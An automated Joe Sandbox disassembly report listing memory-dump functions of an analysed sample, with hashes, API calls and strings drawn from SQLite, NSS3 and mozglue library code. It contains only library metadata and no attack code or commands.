Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 92a5afe0325ea21f4dce25128a94e63a4f534059dbd74c7a2508e886a0b77e91
Instruction ID: b6c7042d39448c0040859b5a50555002bbcd2b723a20a8c946356a522a988d20
Opcode Fuzzy Hash: 92a5afe0325ea21f4dce25128a94e63a4f534059dbd74c7a2508e886a0b77e91
Instruction Fuzzy Hash: 72513972B116494FC708CDADDC527DEBBDAABA4310F48C23AE842DB781D638E906C751

Function 6CC00F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CC01027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC010B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC01353

Strings

%lld, xrefs: 6CC0114B
'%.*q', xrefs: 6CC01217, 6CC01292
-- , xrefs: 6CC00FF5
%02x, xrefs: 6CC012F6
NULL, xrefs: 6CC0119E
zeroblob(%d), xrefs: 6CC01223
$, xrefs: 6CC012A0

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: c5e1839cd509fbf6cf639aa1032bde7cdae915890160569b3217f9dc00b0888d
Instruction ID: 69be3d70f030767c9be37e4f89267189679fa2e66d84cf62a0f82324bd51a34b
Opcode Fuzzy Hash: c5e1839cd509fbf6cf639aa1032bde7cdae915890160569b3217f9dc00b0888d
Instruction Fuzzy Hash: 68E1AB71A083809FD715CF19C480A6BFBF5BF86358F14892DE99587B51E732E849CB82

Function 6CC08FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC08FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC090DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC09118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC0915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC091C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC09209

Strings

3333, xrefs: 6CC0925E
UUUU, xrefs: 6CC09255

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 417fbf2ba8d216e1e7973e18bc9e6e406c2ec06dc76ef54ebc672fad857e4f78
Instruction ID: 577184658f53a1ffaf53f3eab6a4ffbfc0efd59d6b09b00ab3f8c2df3dcc2355
Opcode Fuzzy Hash: 417fbf2ba8d216e1e7973e18bc9e6e406c2ec06dc76ef54ebc672fad857e4f78
Instruction Fuzzy Hash: C5A19072F001159BDB04CB69CC91B9EB7B5BF4C328F0A4129E915A7791E736EC12CBA1

Function 6CAC0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CABCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB1F9C9,?,6CB1F4DA,6CB1F9C9,?,?,6CAE369A), ref: 6CABCA7A
Part of subcall function 6CABCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CABCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CAC103E
EnterCriticalSection.KERNEL32(?), ref: 6CAC1139
LeaveCriticalSection.KERNEL32(?), ref: 6CAC1190
sqlite3_free.NSS3(00000000), ref: 6CAC1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CAC126E
sqlite3_free.NSS3(?), ref: 6CAC127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CAC1267
winAccess, xrefs: 6CAC129B

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 29d45e58303a42ae742d3ab483d42ed4410808217433d024542145ac4a2cd177
Instruction ID: 10bf6a49b935ae2bfb4214c5dc00a37c65e15d80eaee26c08cc815f30d51e5c9
Opcode Fuzzy Hash: 29d45e58303a42ae742d3ab483d42ed4410808217433d024542145ac4a2cd177
Instruction Fuzzy Hash: 6171E539705211DBEB04DF25DC95A7B3775EB87328F18062DEA2587A80DB34D886C793

Function 6CACAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CBECF46,?,6CABCDBD,?,6CBEBF31,?,?,?,?,?,?,?), ref: 6CACB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CBECF46,?,6CABCDBD,?,6CBEBF31), ref: 6CACB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CBECF46,?,6CABCDBD,?,6CBEBF31), ref: 6CACB0A2
CloseHandle.KERNEL32(?,?,6CBECF46,?,6CABCDBD,?,6CBEBF31,?,?,?,?,?,?,?,?,?), ref: 6CACB100
sqlite3_free.NSS3(?,?,00000002,?,6CBECF46,?,6CABCDBD,?,6CBEBF31,?,?,?,?,?,?,?), ref: 6CACB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CBECF46,?,6CABCDBD,?,6CBEBF31), ref: 6CACB12D

Part of subcall function 6CAB9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CACC6FD,?,?,?,?,6CB1F965,00000000), ref: 6CAB9F0E
Part of subcall function 6CAB9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB1F965,00000000), ref: 6CAB9F5D

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 832b386f312c07002d42f134ec591170370f5ad2a5dc1ec317f4b5c10b0230c9
Instruction ID: 09868832473d104445aa45e47ef74ca5d96edf5c0f897539172dac1aced174e4
Opcode Fuzzy Hash: 832b386f312c07002d42f134ec591170370f5ad2a5dc1ec317f4b5c10b0230c9
Instruction Fuzzy Hash: 3391CFB0B042058FDB04CF79D985A7BB7B2FF46308F18462DE41697A50EB31E895CB92

Function 6CC48D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CC914E4,6CBFCC70), ref: 6CC48D47
PR_GetCurrentThread.NSS3 ref: 6CC48D98

Part of subcall function 6CB20F00: PR_GetPageSize.NSS3(6CB20936,FFFFE8AE,?,6CAB16B7,00000000,?,6CB20936,00000000,?,6CAB204A), ref: 6CB20F1B
Part of subcall function 6CB20F00: PR_NewLogModule.NSS3(clock,6CB20936,FFFFE8AE,?,6CAB16B7,00000000,?,6CB20936,00000000,?,6CAB204A), ref: 6CB20F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CC48E7B
htons.WSOCK32(?), ref: 6CC48EDB
PR_GetCurrentThread.NSS3 ref: 6CC48F99
PR_GetCurrentThread.NSS3 ref: 6CC4910A

Strings

%u.%u.%u.%u, xrefs: 6CC48E74

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: b76666b0e85074cff3e7c2545ebc68ebd86d2d3737e8f5014fb99e88a793bbeb
Instruction ID: b7894f3f415f256a09400e4fa3f4f757c3792e9da4a30bf1652f07cf90e0d166
Opcode Fuzzy Hash: b76666b0e85074cff3e7c2545ebc68ebd86d2d3737e8f5014fb99e88a793bbeb
Instruction Fuzzy Hash: 0102A931905261CFDB18CF1AC568B6ABBB6EF42308F19C25AD8919BB91E331D949C7D0

Function 6CA62C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA62C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA62C61

Part of subcall function 6CA14DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA14E5A
Part of subcall function 6CA14DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA14E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA62C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA62E2D

Part of subcall function 6CA281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA281DE

Strings

expected a Time entry, xrefs: 6CA62E36
ProfileBuffer parse error: %s, xrefs: 6CA62E3B
(root), xrefs: 6CA6354F

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2c9b876af2bb62f7bdcc085d2273769b250f95ab2d8e9e611573111266feec02
Instruction ID: 1cd5b9435e61ebace191cd032bf1abc0e3350af4039003b1d0c187997ff6dc7f
Opcode Fuzzy Hash: 2c9b876af2bb62f7bdcc085d2273769b250f95ab2d8e9e611573111266feec02
Instruction Fuzzy Hash: 8991D2706097418FC724CF29C49469FB7F1EF8A358F148A1DE59A87B90DB30D98ACB52

Function 6CBC68E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CBC68FC
PR_EnterMonitor.NSS3 ref: 6CBC6924

Part of subcall function 6CBF9090: TlsGetValue.KERNEL32 ref: 6CBF90AB
Part of subcall function 6CBF9090: TlsGetValue.KERNEL32 ref: 6CBF90C9
Part of subcall function 6CBF9090: EnterCriticalSection.KERNEL32 ref: 6CBF90E5
Part of subcall function 6CBF9090: TlsGetValue.KERNEL32 ref: 6CBF9116
Part of subcall function 6CBF9090: LeaveCriticalSection.KERNEL32 ref: 6CBF913F

Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207AD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207CD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207D6
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAB204A), ref: 6CB207E4
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,6CAB204A), ref: 6CB20864
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB20880
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,6CAB204A), ref: 6CB208CB
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208D7
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208FB

PR_EnterMonitor.NSS3 ref: 6CBC693E
TlsGetValue.KERNEL32 ref: 6CBC6977
TlsGetValue.KERNEL32 ref: 6CBC69B8
PR_ExitMonitor.NSS3 ref: 6CBC6B1E
PR_ExitMonitor.NSS3 ref: 6CBC6B39
TlsGetValue.KERNEL32 ref: 6CBC6B62

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 4628236ad32fbc29d3fd031827d4924942af43d6d5ee42cae1608c9c14bce229
Instruction ID: a48cf90ccd4fbd088de46b86b4fc13bb589875b7ee12abab770de77d21a6486c
Opcode Fuzzy Hash: 4628236ad32fbc29d3fd031827d4924942af43d6d5ee42cae1608c9c14bce229
Instruction Fuzzy Hash: 19918EB4B58180CBDB50DF6DC4C196E7BB2FB97308B618259C844CBA19DB75D982CB83

Function 6CACEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6CACF957, 6CACF9BA
table, xrefs: 6CACF05C, 6CACFABC, 6CACFAC7
temporary table name must be unqualified, xrefs: 6CACF734
authorizer malfunction, xrefs: 6CACF95C, 6CACF9BF, 6CACFA5E, 6CACFA8B
sqlite_temp_master, xrefs: 6CACF0A6, 6CACF2D5
there is already an index named %s, xrefs: 6CACF9D7
sqlite_master, xrefs: 6CACF0AB, 6CACF2DA, 6CACF757, 6CACF93E
view, xrefs: 6CACF061, 6CACF071, 6CACFAB7
%s %T already exists, xrefs: 6CACFAC8

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 4aae51912cb6b321bd7e976b96d1853f70618743404a597434952a2b2cb7e15d
Instruction ID: 8adc469aacf52d49979f049f15265bc7a29ad9aa63855f8a77f8566a1f716761
Opcode Fuzzy Hash: 4aae51912cb6b321bd7e976b96d1853f70618743404a597434952a2b2cb7e15d
Instruction Fuzzy Hash: EB72C070F042058FDB14CF68C884BAABBF1BF49308F1981ADD9159BB52D775E896CB81

Function 6CB509A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB506A0: TlsGetValue.KERNEL32 ref: 6CB506C2
Part of subcall function 6CB506A0: EnterCriticalSection.KERNEL32(?), ref: 6CB506D6
Part of subcall function 6CB506A0: PR_Unlock.NSS3 ref: 6CB506EB

memcmp.VCRUNTIME140(00000000,6CB39B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CB39B8A,00000000,6CB32D6B), ref: 6CB509D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CB39B8A,00000000,6CB32D6B), ref: 6CB509F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB39B8A,00000000,6CB32D6B), ref: 6CB50A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB39B8A,00000000,6CB32D6B), ref: 6CB50A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB39B8A,00000000,6CB32D6B), ref: 6CB50A48

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 665fdd22f2687b138fbad24be19f95aa0cee56c3212819efaa9e9108a6d59a9a
Instruction ID: e0147c96dc8770c307577b3501aa63959fc88a4a96ae44f585c9e91db2a0a292
Opcode Fuzzy Hash: 665fdd22f2687b138fbad24be19f95aa0cee56c3212819efaa9e9108a6d59a9a
Instruction Fuzzy Hash: E702DEB1E006849FEB008F65EC41BAF77B9EF4831CF544128E915A7B51E731E925CBA1

Function 6CA1D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6CA1D852
9, xrefs: 6CA1DE7F
@, xrefs: 6CA1DAF6
1, xrefs: 6CA1DBDD
8, xrefs: 6CA1DC08
0, xrefs: 6CA1DC7F
-, xrefs: 6CA1D7DD
, xrefs: 6CA1DA88

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 79c8b2bf4ce405c01c24ba428496b80bba1822d8a82ad89635eba20345da7992
Instruction ID: c24c3da01c177257a990175f6534574ea847679619936373c0f82d21ee0d2468
Opcode Fuzzy Hash: 79c8b2bf4ce405c01c24ba428496b80bba1822d8a82ad89635eba20345da7992
Instruction Fuzzy Hash: 4262BC71A0D3858FD706CF29C49075ABBF2AF86368F184A0DE4E54BE91D33599C5CB82

Function 6CB10820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6CB111D2

Strings

not authorized, xrefs: 6CB1175E, 6CB11763
authorizer malfunction, xrefs: 6CB11BD2
@, xrefs: 6CB10B17
rows deleted, xrefs: 6CB117D2

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: b2d5c88b28b20c33551e25f565c99bf4d025556cd086e2d91c5c90ac4c1eaa11
Instruction ID: ca7ef73da9c018da4573f680d7b083b58909df126286d6a1d33203582757514d
Opcode Fuzzy Hash: b2d5c88b28b20c33551e25f565c99bf4d025556cd086e2d91c5c90ac4c1eaa11
Instruction Fuzzy Hash: F6D27A70E08289DFDB14CFA9C484B9EBBB1FF49308F288169D415ABB51D771A956CB80

Function 6CC4CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC4D086
PR_Malloc.NSS3(00000001), ref: 6CC4D0B9
PR_Free.NSS3(?), ref: 6CC4D138

Strings

>, xrefs: 6CC4CF5B

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 52c70d6ea4405a973e1b079fbf9370283b9f3b88d382b09d6f235608786b6c23
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: F8D16A62B416464BFB24687DCCA13EA77A39782374F58C329D922DBBF5F6198847C301

Function 6CA8545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA88A4B

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 48967a2854533b29b287f79d9b034592b0e8d74e927fbb74c1a0e76fdd28be4d
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: B2B1E972E0121A8FDB14CF68CD907E9B7B2EF85314F1802A9C549EB785D73099C9CB90

Function 6CA8542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

